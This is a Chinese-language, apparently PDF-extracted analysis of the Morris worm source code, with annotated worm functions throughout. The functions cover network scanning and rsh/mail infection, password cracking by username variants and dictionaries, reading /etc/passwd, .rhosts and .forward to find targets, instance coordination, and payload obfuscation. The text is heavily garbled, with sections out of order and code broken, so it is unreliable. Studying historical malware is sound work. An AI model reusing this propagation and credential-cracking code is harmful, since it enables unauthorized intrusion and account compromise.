[2048];112二netmaskforargl;/*检查地址argl,如果argl是可达的,那么返回地址,否则返回子网掩玛类型*/116=取补for i=0;inifs;i++{/*检查每一个网络接口,看是否可达*/if argl==ifs[i].if_124ifs[i].if_116return0;/*不可达则返回*/}〃地址可达adrindex=0;if116==OxOOOOffff{/*A类地址*/144=4;for140=1;140255;140++/**/for120=1;120=8;120++/**/netaddrs[adr_index++]=argl|120«16|140;permutenetaddrs,adr_index,sizeofnetaddrs
[0];}else{/*不是A类地址*/144=4;for120=1;120255;120++netaddrs[adr_index++]=argl|120;permutenetaddrs,3*sizeofnetaddrs
[0],sizeofnetaddrs
[0];permutenetaddrs,adr_index-6,4;}if adr_index20adr_index=20;〃只取前20条for136=0;136adr_index;136++{/**/14=netaddrs
[136];host=h addr2host14,0;if host==NULL||host-flag0x02==0continue;〃标记了infectedif host==NULL|host-flag0x04==0|command_port_p14,144==0continue;〃被标记了immune,或者无法连接,或者主机名为NULLif host==NULLhost二h_addr2host14,1;if tryrsh andmail host〃攻击成功return1;}return0;/*Only calledinthefunction above*/static command_portjpu_long addr,int time{/*检查局域网主机的可达性和是否可以连接上CMDSERVER端口*/int s,connection;struct sockaddr_insin;int*save_sighand;s=socket AF_INET,SOCK_STREAM,0;if s0return0;bzerosin,sizeofsin;sin.sin_family=AF INET;sin.sin_addr.s_addr=addr;sin.sin_port=IPPORT_CMDSERVER;//CMDSERVER端口save_sighand=signalSIGALRM,justreturn;/*Wakeup if it fails*//*Set upa timeoutto breakfromconnectifitfails*/if time1time=1;alarmtime;connection=connects,sin,sizeof sin;〃是否成功与CMDSERVER连接成功alarm0;closes;if connection0errno二二ENETUNREACH error^Network unreachable;return connection!=~1;
8.密码破解在蠕虫中加入密码破解功能貌似是不明智的,因为密码破解需要大量的时间和资源,它的存在会大大降低蠕虫的攻击效率但是morris蠕虫通过巧妙的设计从最高效的密码破解方法开始,依次采用较低效的破解方法使得蠕虫能够在较短的时间内完成密码破解工作密码破解工作是由cracksome函数完成的,其主要通过密码猜测实现密码破解,它的具体实现如下cracksome{/*破解密码*/switch cmodecase0:strat_0;return;/**/strat_l;return;try words;return;dict words;return;}可以看到,在cracksome函数中将密码破解分成了四个情况,下面针对每个情况进行详细介绍
8.1strat_0strat_O函数的作用是收集主机和用户信息,只被蠕虫运行一次,它所收集到的信息在蠕虫消亡之前也将一直被蠕虫使用它的大致流程如下首先它读取本机的包狂的〃是文件,根据得到的信息调用name2host函数与getaddr函数,然后将得到的机器信息加入到host list中,并标记其为0x08系统列表主机;然后它用同样的方法读取/j/zos/s文件,从这两个文件得到的信息将作为蠕虫攻击的目标主机不只是在破解密码中用得到目标主机列表之后,它调用setpwent系统函数打开本机的/em加sswd文件采集用户信息,将每一个用户的用户名、已加密的密码、主目录和用户详细信息等存储在usr数据结构中而对于每一个用户,strat_O函数会尝试打开它主目录中的,切出〃”文件并读取其中的主机信息,然后将这些得到信息添加到hostlist中,并标记其为0x08系统列表主机在所有/我理好而文件中的信息都被读取后,程序调用endpwent系统函数关闭文件,并将cracksome函数的cmode参考变量设置为1,以进行下一步的工作其具体的实现以及分析如下/*Strategy0,look through/etc/hosts.equiv,and/.rhost fornew hosts*/strat_0{/*初始化host list,初始化urs,在这里也体现了蠕虫的目标主机定位*/FILE*hosteq;char scanbuf
[512];char fwdbuf
[256];char*fwd_host;char getbuf
[256];struct passwd*pwent;char local
[20];struct usr*user;structhst*host;/*host list*/int checkothercnt;/*urs*/static struct usr*user_list=NULL;hosteq=fopen XSz,/etc/hosts.equiv,z,XS〃r〃;//打开/etc/hosts.equiv文件ifhosteq!=NULL{/*打开文件成功*/while fscanfhosteq,XS〃%.100s〃,scanbuf〃文件中还有信息就继续读取host=h_name2host scanbuf,0;if host二二0host二h_name2hostscanbuf,1;getaddrs host;〃添加主机信息if host-o48
[0]==0/*主机没有网络连接*/continue;host-flag|=8;〃设置主机标志为系统列表主机fclose hosteq;/*关闭文件*/hosteq=fopen XS〃/・rhosts,XS〃r〃;if hosteq!=NULL{/*从/hosts得到目标主机信息*/while fgetsgetbuf,sizeofgetbuf,hosteq{/*文件不空继续读取*/if sscanfgetbuf,XS〃%s〃,scanbuf!=1continue;host=h_name2hostscanbuf,0;while host=二0{/*读取主机信息*/host=h_name2hostscanbuf,1;getaddrshost;if host-o48
[0]==0continue;host-flag|=8;fclose hosteq;/*look throughthe passwd file,checking forcontact withothers everytenth entry.*/setpwent;//打开passwdfile/*setpwent函数从头读取密码文件中的账号数据,setpwent用来将getpwent的读写地址指回密码文件开头*/check_other_cnt=0;/*检查次数*/while pwent=getpwent!=0{/*文件中还有数据*/if check_other_cnt%10==0/*每10次查看本机是否有其他蠕虫*/other_sleep0;check_other_cnt++;〃检查次数加1sprintf fwd_buf,XS〃%.200s/.forward,pwent-pw_dir;〃将用户名写入内存hosteq=fopen fwd_buf,XS〃r〃;〃打开用户名的主目录if hosteq!=NULL{/*主目录非空*/while fgetsscanbuf,sizeof scanbuf,hosteq{/*读取主目录中的信息,加入host list*/scanbuf[strlenscanbuf]二\0;fwd host=index scanbuf,;if fwdhost==NULL continue;host=h_name2host++fwd_host,0;if host二二NULLhost二h_name2hostfwd host,1;getaddrs host;ifhost-o48
[0]==0continue;host-flag|=8;fclose hosteq;/*Don,t doforeign orcomplicated hosts,初始化用户信息数据结构*/if strlenhost-hostname11continue;user=struct usr*mallocsizeofstruct usr;strcpyuser-name,pwent-pw_name;strcpyuser-passwd
[0],XS〃x〃;user-decoded_passwd
[0]=\0;user-homedir=strcpymallocstrlenpwent-pw_dir+1,pwent-pw_dir;user-gecos=strcpymallocstrlenpwent-pw_gecos+1,pwent-pw_gecos;user-next二userlist;userlist=user;}endpwent;//关闭passwd filecmode=1;〃设置参数,进行下一步工作x27f2c二user_list;//x27f2c设为用户列表~在513」函数中有用到return;
8.2strat_lstrat」函数尝试进行简单的密码破解,它主要针对那些仅仅根据密码文件所给出的信息就可以破解的密码而据统计,大约30%的密码仅仅根据用户名或密码文件的字面信息就可以破解,因此简单密码破解是比较有效的strat_l函数的大致流程为它的主体程序是一个循环,当已经尝试了50个帐户或者所有帐户都被尝试过,strat」函数才退出进入循环后,它按照以下顺序猜测密码是否为空、是否为用户名、是否为两个用户名连写、是否为first name存储于urs结构中,并将大写变成小写或者last name、是否为用户名的反转等;在循环结束后,它将记录下urs的指针位置并设置cracksome函数的参数comde为2,进入下一个功能函数以下是strat_l函数的具体实现以及分析/*Check for username’,J usernameusername,andemanresu,as passwds.*/static strat」/*通过用户名进行简单破解*/int ent;char usrname
[50],buf
[50];for ent=0;x27f2cent50;x27f2c=x27f2c-next{/*当尝试50个帐户或者用户列表没有帐户了退出循环*//*Every tenthtime lookfor〃me mates”,每10次查看本机是否有其他蠕虫*/if ent%10==0other_sleep0;if try_passwdx27f2c,XS〃〃/*Check forno passwd*/continue;/*If thepasswd issomething like〃*〃punt matchingit.*/if strlenx27f2c-passwd!=13continue;strncpyusrname,x27f2c,sizeofusrname-1;usrname[sizeofusrname-1]=\0;if trypasswdx27f2c,usrname/*Check for username*/continue;sprintf buf,XS〃虬20s%.20s〃,usrname,usrname;if try_passwd x27f2c,bufcontinue;/*Check for usernameusername*/sscanfx27f2c-gecos,XS〃%厂,]〃,buf;if isupperbuf
[0]buf
[0]=tolower buf
[0];〃大写转换成小写if strlenbuf3try_passwdx27f2c,bufcontinue;〃尝试first namebuf
[0]=\0;sscanf x27f2c-gecos,XS〃%*sbuf;if isupperbuf
[0]buf
[0]=tolower buf
[0];if strlenbuf3indexbuf,==NULLtry_passwdx27f2c,buf continue;〃尝试last namereverse_strusrname,buf;if try_passwdx27f2c,bufcont inue;//尝试用户名的反转}if x27f2c=0〃用户列表中所有的帐户都已经尝试过了,设置参数进行下一阶段cmode=2;return;从上面的代码分析可以看出,strat」函数存在BUG,循环变量没有增加尝试帐户次数变量,即循环条件中的尝试50次退出程序将不被执行,也就是说一旦程序进入strat」函数,它只在对所有帐户进行尝试后才会退出,而这个也许会导致浪费大量的时间下面是strat_l函数的一些辅助函数的实现static reverse_strchar*strl,char*str2/*反转用户名*/int length,i;length=strlenstrl;fori=0;ilength;i++str2[i]=strl[length-i][T];〃反转字符串str2[length]=\0;return;static try_passwdstruct usr*user,char*str{/*对传入的参数调用uypt函数加密,并与密码文件中用户的密码进行比较,如果一样的话那么将已破解的密码写入urs数据结构,并对这个用户进行攻击*/if strcmpuser-passwd,crypt str,user-passwd二二0||str[O]二二\0user-passwd=二0/*crypt将使用Data EncryptionStandard DES演算法将参数key所指的字符串加以编码,key字符串长度仅取前8个字符,超过此长度的字符没有意义参数salt为两个字符组成的字符串,由a-z、A-Z、0-9,”和所组成,用来决定使用4096种不同内建表格的哪一个函数执行成功后会返回指向编码过的字符串指针,参数key所指的字符串不会有所更动编码过的字符串长度为13个字符,前两个字符为参数salt代表的字符串关于蠕虫对crypt的修改将在下文介绍*/strncpyuser-decoded passwd,str,sizeofuser-decoded passwd;user-decodedpasswd[sizeofuser-decoded passwd-1]=\0;attack_user user;〃实现见下文return1;return0;从try_passwd函数可以看出,unix系统的帐户密码存在很大的安全隐患,首先任何用户都可以调用crypt函数来进行加密,而且用户加密过的密码是公开可见的,用户可以对其进行比较来猜测密码,这些都是导致密码破解可行的条件/*Collect hostnamesand runhueristic#1for thisusers.forward and.rhosts*//*This isonly calledfrom trypasswd*/static attack_userstruct usr*user{/*仅仅在suns和vaxen机器可以运行,因为它调用了一个在那两个机器上才可以运行的子函数,它的主要作用是,在密码成功破解后,它打开用户的主目录下的.forward文件和.「hosts文件,然后对其中的每一个主机和用户调用hul进行攻击*/FILE*fwdfp;char buf
[512],*hostpart;/**/char rhbuf
[256];/**/char11288
[512];structhst*host;/**/sprintf buf,XS zz%.200s/.forward,user-homedir;/*对,forward文件*/fwd fp=fopen buf,XS〃r〃;if fwd_fp while fgets buf,sizeof buf,fwd fp{/*对.forward中的每一个记录进行攻击*/buf[strlenbuf-1]=\0;hostpart=indexbuf,〃只取邮件格式的主机部分/*If nohostname,its notforeign soignore it.*/int14,18,112,116,120,124,o28,o32,o36,o40,o44;int o48
[6];/*网络地址*/int flag;/*状态位*/#define HST.HOSTEQUIV8#define HST_HOSTFOUR4#define HST_HOSTTWO2structhst*next;/*链表结构*/);
3.2objectsobjects结构用来保存文件的拷贝一个新蠕虫的开始,首先是远程主机上的引导程序将蠕虫源文件拷贝到目的主机的磁盘上,而后引导程序(bootstrap程序)读取磁盘文件使新蠕虫运行而为了使蠕虫不被发现和分析,在新蠕虫开始运行后,会将磁盘上的蠕虫文件经过xorbuf()函数的加密后读入内存(就是bjects结构,用一个object数组),并删除磁盘上的蠕虫文件objects结构中包括了文件的名称(包括后缀名)、文件大小以及加密后的文件内容这也说明了,蠕虫一开始并不一定在磁盘上存在文件其具体实现如下typedef structchar*name;unsigned longsize;char*buf;}object;
3.3interfaceinterface结构记录了当前主机的网络接口信息其在蠕虫开始时(main函数中)用iLinit()函数初始化一次其实现以及各部分表示的意义如下extern structifses(〃其中包括接口名称、网络地址、子网掩码、p2P目的主机地址以及接口状态位int ifJO,ifJ4,ifJ8,if」12;/*/*接口名称*/unused*/int/*unused*/if_116;/*子网掩码*/int if120;/*unused*/int if_124;short if_128;是一个链表结构主要包括帐户名称、加密的原始密码、已破解的}ifs[];
3.4usr pwd用来储存用户信息,密码(如果破解成功)、主目录以及GECOS域(没有使用)等,其实现如下:struct usrchar*name,*o4,*08,*ol2;char passwd
[14];/*原始密码*/char decoded_passwd
[14];/*破解后的密码*/short pad;char*homedir;/*主目录*/char*gecos;/*offset50*/struct usr*next;/*offset54*/if hostpart=NULL〃不是主机名,直接进行下一轮循环continue;/*Split usernameand hostname*/*hostpart++=\0;/*Here thereappears tobe abug!!!It workscorrectly bycoincidence ofpushingthings onthestack.*/ttifndef FIX_BUGShost=h name2host hostpart,1;hul user,host,buf;#else/*original*//*hul shouldhave anotherargument*/hul user,host=h_name2host hostpart,1,buf;ttendif}fclosefwd_fp;sprintf buf,XS〃为200s/.rhosts,user-homedir;fwd_fp=fopen buf,XS〃r〃;if fwd_fp{/*2446*/whilefgetsrhbuf,sizeof rhbuf,fwd_fp{/*对.rhosts文件中的每个记录进行攻击*/11288
[0]=,;if sscanfrhbuf,XS,,%s%s/,,buf,112881continue;host二h_name2hostbuf,1;hul user,host,11288;fclose fwdfp;return;
8.3try_wordstry_word函数根据密码字典猜测用户密码密码字典中的内容是经过与0x80异或加密的,通过permute函数可以将其解密得到真正的内容try_word函数主要是将密码字典的内容通过try_passcd函数与密码文件中的信息作比较,如果成功那么密码被破解,那么密码字典重新被与0x80异或加密,并且将comde参数设置成3,准备进行下一阶段任务另外,其中将nextw变量作为记录密码字典位置的指针也是尝试密码破解的次数,它在mainloop中用来判断蠕虫是否可以退出的标志,就是说只有在蠕虫进行了至少一次密码猜测以后它才能够退出其具体的实现如下/*Try alist ofpotential passwdsfor eachuser.*/static try_words/*通过密码字典猜测密码*/struct usr*user;int i,j;if wds[nextw]==0{cmode++;return;/*密码字典为空*/}if nextw==0{/*还没有进行过密码猜测*/for i=0;wds[i];i++〃将密码字典进行解密permutewds,i,sizeofwds
[0];for j=0;wds[nextw][j]!=\0;j++wds[nextw][j]=0x7f;〃将其转换成ASCH码foruser二x27f28;user;user二user-nexttry_passwd user,wds[nextw];/*对每个用户名用密码字典中同一密码进行密码猜测*/for j=0;wds[nextw][j];j++/*重新将密码字典加密*/wds[nextw][j]|=0x80;nextw+=1;return;}通过以上的分析可以发现,try_word函数中存在三个可以改进的地方第
一、蠕虫没有尝试用密码的反转进行破解,这在密码破解里是经常应用而且效率较高的,而蠕虫程序却没有尝试第
二、try_word函数多余的运用了加密解密的过程,作者应该在解密之后将其存在一块临时的内存当中,使用后释放内存,没有必要再进行加密过程;第
三、try_word函数并不需要每次将所有的密码字典都解密出来,因为每次它只应用了一个单词进行密码猜测,作者完全可以每次只解密一个单词
8.4dict_wordsdict_words函数打开/4sM文件,然后对于每个词它都调用try_passed函数对每个帐户进行尝试如果找到单词是大写的形式,那么它将其转变成小写形式并进行尝试其具体实现以及注释如下/*Called onlyfrom thecracksome dispatchloop.Tries asingle wordfromthe*dictionary,downcasing ifcapitalized andtrying again.*/static dict.wordsO/*最后一个密码猜测阶段*/char buf
[512];structusr*user;static FILE*x27f30;if x27f30!=NULL{〃打开unix系统的/usr/dict/words文件x27f30=fopenXS/,/usr/dict/words/z,XS〃r〃;if x27f30=NULL return;}if fgetsbuf,sizeofbuf,x27f30==0{/*如果没有单词*/cmode++;return;buf[strlenbuf][-1]=\0;foruser=x27f28;user;user=user-next/*尝试每个单词*/try_passwduser,buf;if!isupperbuf
[0]return;buf
[0]二tolowerbuf
[0];〃转换成小写foruser=x27f28;user;user=user-next try_passwduser,buf;〃尝试每个小写return;
9.结论总的来说,虽然morris蠕虫是一个二十年以前的蠕虫程序(而且代码中存在一些bug),但是其中还是有不少值得学习和借鉴的东西首先,它给出了一个完整的蠕虫程序的结构框架以及基本的工作流程,这些编程思想现在的不少蠕虫程序仍在使用第
二、在密码破解方面,morris蠕虫提供了一个简单可行的密码破解工作流程和基本思路,在现在仍然可以应用那些方法进行密码破解第
三、蠕虫检查自己的同类是一个很巧妙的方法,这种C/S模式的检验方法在很多软件中可以应用,可以检测一台机器是否已经安装了某中软件第
四、传送蠕虫源程序的方法可以被用来传送一些其他的应用程序第
五、在对系统漏洞的利用上,morris蠕虫基本考虑了系统漏洞的基本种类(系统服务、缓冲区溢出、电子邮件),这种寻找漏洞的思想在其他的一些程序中可能会有用武之地如果根据A Taxonomyof ComputerWorms对蠕虫的分类,那么从Activation的角度上来说,Morris蠕虫是主动的(Self Activation)蠕虫,它可以自主的进行传播;A Targetdiscovery的角度上来说,Morris蠕虫是pre-generated targetlist;从Payloads的角度上来说,Morris蠕虫只有一些源代码,而没有其他的动作从蠕虫的防治角度来讲,Morris蠕虫的扫描特征并不明显,因为它的攻击对象主要来自本主机的系统文件但是Morris蠕虫蠕虫有一些自身的特征,比如它会多次读取本机密码文件、邮件信息文件、用户特权文件等这些特征也许可以作为发现蠕虫的标志附录morris蠕虫中经常被调用的函数XSchar*XS char*strl/*根据ENCYPHERED_STRINGS来决定是否加密字符串*/int i,len;char*newstr;ttifndef ENCYPHERED_STRINGS returnstrl;#elselen=strlenstrl;if len+1NCARGS-trans_cnttrans_cnt=0;newstr=trans_buf[trans_cnt];transient+=1+len;for i=0;strl[i];i++newstr[i]=strl[i-0x81;〃对文件内容的加密newstr[i]=\0;return newstr;ttendifXreadQStatic xreadfd,char*buf,n{/*通过read读取文件,read会把参数fd所指的文件传送count个字节到buf指针所指的内存中若参数count为0,则read不会有作用并返回0返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动*/int cc,nl;nl=0;whilenln〃如果文件比n短的话,会继续读,直到读满n长度为止,而且都是文件fd的内容cc=readfd,buf,n-nl;if cc=0return cc;buf+二cc;nl+=cc;return nl;}xreadint fd,char*buf,unsigned longlength,int time{/*通过select函数检查文件操作的变化,来决定文件的读取*/int i,cc,readmask;struct timevaltimeout;int nfds;long timel,time2;for i=0;ilength;i++{/*逐个字节读入内存*/readmask=1fd;timeout,tvsec=time;timeout.tv usec=0;if selectfd+1,readmask,0,0,timeout0return0;/*状态改变失败*/if readmask二二0return0;if readfd,buf[i],1!=1return0;}returni;Xorbuf/*Encodes anddecodes thebinary comingover thesocket.*/xorbuf char*buf,unsigned longsize/*对文件进行加密*/char*addr_self;/*The addressof thexorbuf fuction*/int i;addrself=char*xorbuf;1=0;while size--0*buf++八=addjself[i];〃文件加密i=i+1%10;return;}Loadobjectloadobjectchar*obj_name/*将文件读入内存的object数据结构*/int fd;unsigned longsize;struct statstatbuf;char*object_buf,*suffix;char local
[4];fd=open obj_name,O_RDONLY;〃只读方式打开文件,得到文件描述符if fd0return0;if fstatfd,statbuf0{〃获得文件相关信息closefd;return0;}size=statbuf.st_size;object buf=mallocsize;if object_buf二二0〃文件大小为3即文件不存在closefd;return0;if readfd,object_buf,size!=size〃将文件读入内存freeobject_buf;close fd;return0;close fd;xorbuf objectbuf,size;〃加密文件suffix=indexobj_name,,;〃找出第一个出现‘,’的位置并返回,生成文件后缀名用ifsuffix!=NULLsuffix+=l;elsesuffix=objname;〃设置object数据结构文件相关的信息objects[nobjects].name=strcpy mallocstrlensuffix+1,suffix;objects[nobjects].size=size;objects[nobjects].buf=object_buf;nobjects+=1;〃内存中文件数加1return1;Getobjectbyname/*Returns theobject fromthe objectsarray thathas name,otherwise NULL.*/object*getobjectbynamechar*name{〃在object数据结构中查找文件int i;for i=0;inobjects;i++if strcmpname,objects[i].name==0return objects[i];〃返回文件内存中的地址return NULL;〃没有匹配文件返回空Send_textstatic send_textfd,char*str/*通过write写入,写入长度默认str长度*/writefd,str,strlenstr;T est_connectionstatic test_connectionint rdfd,int wrfd,int time/*测试连接效果*/char combuf
[100],numbuf
[100];sprintf numbuf,XS线d〃,randomOxOOffffff;sprintfcombuf,XS〃\n/bin/echo%s\n〃,numbuf;send textwrfd,combuf;return wait_forrdfd,numbuf,time;Wait_forstatic wait_for intfd,char*str,int time{/*实现非阻塞等待*/char buf
[512];int i,length;length=strlenstr;while x488efd,buf,sizeofbuf,time==0{/*x488e实现非阻塞等待,并检查文件是否读入内存*/fori=0;buf[i];i++if strncmpstr,buf[i],length==0return1;〃如果str与fd的内容有一样的,文件已经被读入内存return0;/*Installed asa signalhandler*/Justreturnint sig,int code,struct sigcontext*scpalarmed=1;/*处理信号的函数*/static x488e intfd,char*buf,int numchars,int maxtime{/*wa it_f or的辅助函数*/int i,18,readfds;struct timevaltimeout;for i=0;inumchars;i++{/*以缓冲区的大小为条件*/readfds=1fd;timeout,tv usec=maxtime;timeout.tv_sec=0;if selectfd+1,readfds,0,0,timeout=0return0;〃实现非阻塞等待,等待文件描述词的状态变化if readfds二二0return0;if readfd,buf[i],1!=1〃1字节,1字节的读入内存return0;if buf[i]==\n〃如果文件换行了break;〃跳出循环buf[i]=\0;ifi0180return1;return0;If_initif_init{/*初始化网络接口列表,得到现在正连接着的网络接口信息*/struct ifconfif conf;struct ifreqifbuffer
[12];int s,i,num ifs,j;char local
[48];nifs=0;〃接口数为0s=socket AF_INET,SOCK_STREAM,0;if s0return0;/**/if conf.ifc_req=i—buffer;if_conf.ifc_len=sizeof ifbuffer;if ioctls,SIOCGIFCONF,if_conf0close s;return0;/**/numifs=if_conf.ifc_len/sizeofif_buffer
[0];fori=0;inum_ifs;i++{/**/for j=0;jnifs;j++/*Oops,look again.This lineneeds verified.*/if strcmpifs[j],if_buffer[i].ifr_name==0break;}Def_netmaskdef_netmaskint net_addr/*判断网络地址类型*/if net_addr0x80000000=0return OxFFOOOOOO;if net_addrOxCOOOOOOO二二OxCOOOOOOOreturn OxFFFFOOOO;return OxFFFFFFOO;Netmaskfornetmaskforint addr{/*检验IP地址,如果发现有的地址是可达的与本机存在连接的,因为ifs□是存储现有连接的,那么则返回那个地址的子网掩码,否则返回子网掩码类型a,b,c*/int i,mask;mask=def_netmaskaddr;for i=0;inifs;i++if addrmask==ifs[i].if_116mask returnif_124;return mask;;
3.5words密码字典,用一个很长的字符串来实现,作用是猜测用户的密码这个密码字典中许多单词并不是常用的单词或者常用做密码的单词,而且有不少存在拼写错误或者非英语单词,因此这个密码字典应该不是作者自己随意编写的,它应该是来源于某个数据库或者以太网监视器,还有可能是作者通过特洛伊木马程序得到的或者黑客自己有一个通过经验得来的经典密码字典?它具体的内容请参考代码中cracksom.c中的char*wds[
4.系统资源的控制这部分主要分析一下morris蠕虫对系统资源的使用情况morris蠕虫会限制在一台主机上运行的蠕虫数目,这当然不是为了保护操作系统而设计的,作者这样做目的可能有两个:一个是使得蠕虫在开始阶段不会因为大量的占用系统资源而被发现;另一个是使得蠕虫有足够的系统资源去进行进一步的攻击,以保持蠕虫的攻击效率蠕虫用类似于C/S构架的技术来控制运行在本主机上的蠕虫数目,就是说用C/S架构来判断本机上是否存在其他蠕虫,即本机上如果存在其他蠕虫,那么那个蠕虫被视为server,而自己作为client具体的算法由checkother函数实现其主要代码以及注释如下checkother/*检查其他蠕虫,如果存在多个蠕虫,其根据一个roll dice的算法改变其中一个蠕虫的状态退出、幸存、永生,蠕虫幸存指得是蠕虫准备作为server设置好socket来进行下一次的roll dice游戏,蠕虫永生指的是蠕虫不再参与roll dice游戏因为没有设置socket,不会被其他蠕虫checkother到*/int s,18,112,116,optval;struct sockaddr_insin;/*Internet socket地址*/optval=1;if random%7==3return;/*用一个随机数模7,如果为3则返回,即蠕虫成为永生蠕虫,不再参加其他蠕虫的checkother游戏,这个算法会有七分之一的机会使蠕虫成为永生蠕虫,关于永生蠕虫对系统资源的影响在后面会详细分析*/5=socket AF_INET,SOCK_STREAM,0;if s0return;/*Make asocket tothe localhost,using alink-time specificport*/bzerosin,sizeof sin;/*设置结构内容*/sin.sin_family二AF_INET;sin.sin addr.s addr=inet_addr XS〃
127.
0.
0.1〃;/*本机的Internet地址*/sin.sin_port=0x00005b3d;/*端口设置,蠕虫端口为23357*/if connects,sin,sizeof sin0{〃连接s到本机sin,如果失败就是说明本机没有蠕虫存在,关闭scloses;}else{〃说明本机上有其他蠕虫在运行18=MAGIC_2;/*Magic number定义在头文件中*/if writes,18,sizeof18!=sizeof18{/*用写入操作来判断对方是否是蠕虫,如果失败则不是morris worm,关闭s返回,本蠕虫独立*/close s;return;18=0;if xreads,18,sizeof18,5*60!=sizeof18〃通过连接得到18,用来验证蠕虫的身份,如果读取失败那么程序退出close s;return;if18!=MAGIC_1{/*假设对方是蠕虫,xread函数读取相应的信息到18,如果18不是MAGIC」,则对方不是morris worm,则关闭s返回,本蠕虫独立*/close s;return;〃以下是roll dice算法112=random/8;〃随机生成一个数if writes,112,sizeof112!=sizeof112{〃写到s的112开始的内存中,但是不知道有什么作用close s;return;if xreads,116,sizeof116,10!=sizeof116{//116的值在此会发生改变,但是声明时没有初始化,可能存在问题close s;return;if!112+116%2//roll dice,如果随机数计算结果的不为3那么本蠕虫退出pleasequit++;close s;}sleep5;〃作用不明,大致是等待另一蠕虫完成工作?〃以下是对将作为服务器蠕虫进行设置S二socket AF_INET,SOCK_STREAM,0;if s0return;/*Set thesocket sothat theaddress maybe reused*/setsockopts,S0L_S0CKET,SOREUSEADDR,optval,sizeofoptval;〃建立一个新的socket,并开放与前一个socket同样的端口if binds,sin,sizeofsin0close s;return;listens,10;〃等待$,能够处理的最大连接数为10,准备作为server用other_fd=s;return;〃返回,根据pleasequit来决定蠕虫是否幸存}/*另外checkother函数还有一个叫做other_sleep的辅助函数,来根据othejfd的值来进行一些活动,其具体的分析如下*/辅助函数othejsleep的分析/*Sleep,waiting foranother wormto contactme.*/other_sleephow_long{/*调用select系统函数,来等待来自客户端的连接*/int nfds,readmask;long timel,time2;struct timevaltimeout;if other_fd0〃如果thejfd没有被设置没有需要连接的客户端,就是说本蠕虫是永生蠕虫if howlong!=0sleep how_long;return;/*再检查一便*/do{if other_fd0return;〃如果没有返回那么说明本机上还有另外一只蠕虫readmask=1other_fd;if howlong0how_long=0;timeout.tv_sec=how_long;timeout,tv usec=0;if howlong!=0timetimel;〃如果how long大于0,就是有时间,记录当前时间nfds=selectother_fd+l,readmask,0,0,fetimeout;select用来等待文件描述词状态的改变参数n代表最大的文件描述词加1,参数readfds.writefds和exceptfds称为描述词组,是用来回传该描述词的读,写或例外的状况执行成功则返回文件描述词状态已改变的个数*/if nfds0sleepl;〃改变文件状态失败if readmask!=0〃读状态改变成功answer_other;/*answejother建立一个连接,并且交换magic number来确定是否为蠕虫,然后本蠕虫通过socket向被发现的另一只蠕虫写入一个随机数之后本蠕虫要确定被发现的蠕虫来自于本机
127.
0.
0.1,并关闭文件描述符answejother函数的分析见下文*/if howlong!=0timetime2;how_long-=time2-timel;〃减去这部分运算消耗的时间}}while how_long0;〃若时间耗尽则退出循环return;辅助函数answejother的代码以及注释如下static answer,_other/*答复client蠕虫的连接*/int ns,addrlen,magicholder,magicl,magic2;struct sockaddrinsin;/*internet地址*/addrlen=sizeof sin;ns二accept other_fd,sin,addrlen;“server蠕虫建立于client蠕虫的连接if ns0return;/*连接失败*/magic_holder=MAGIC_1;〃校验蠕虫身份用〃以下为校验蠕虫身份的算法if writens,magic_holder,sizeofmagic_holder!=sizeofmagic_holder{〃写操作失败closens;return;if xreadns,magicjiolder,sizeofmagic holder,10!=sizeofmagic holder〃检查连接是否正确,以及得到交互的magic_holder来验证蠕虫的身份close ns;return;}if magic_hoIder!=MAGIC2〃对方不是morris蠕虫close ns;return;〃对方是morris蠕虫,则要进行roll dice游戏magicl=random/8;if writens,magicl,sizeofmagicl!=sizeofmagiclclose ns;return;if xreadns,magic2,sizeofmagic2,10!=sizeofmagic2close ns;return;close ns;if sin.sin addr.s_addr!=inet_addr XSz,
127.
0.
0.l,zreturn;〃蠕虫不是在本机上的蠕虫,退出if magicl+magic2%2!=0{〃根据roll dice游戏,本蠕虫将退出closeother_fd;other_fd=T;//本蠕虫即将退出,不再参与游戏pleasequit++;〃设置退出条件return;}根据以上checkother的分析,可以看到,引起退出checkother函数的原因有三种第
一、pleasequit被置为1,蠕虫准备退出第
二、蠕虫准备作为server,如果有其他蠕虫到来它会参与roll dice游戏第
三、永生,不再参与roll dice游戏,会与其他蠕虫同时存在虽然morris的作者考虑了系统资源的问题但是从实际情况来看,效果并不理想,其。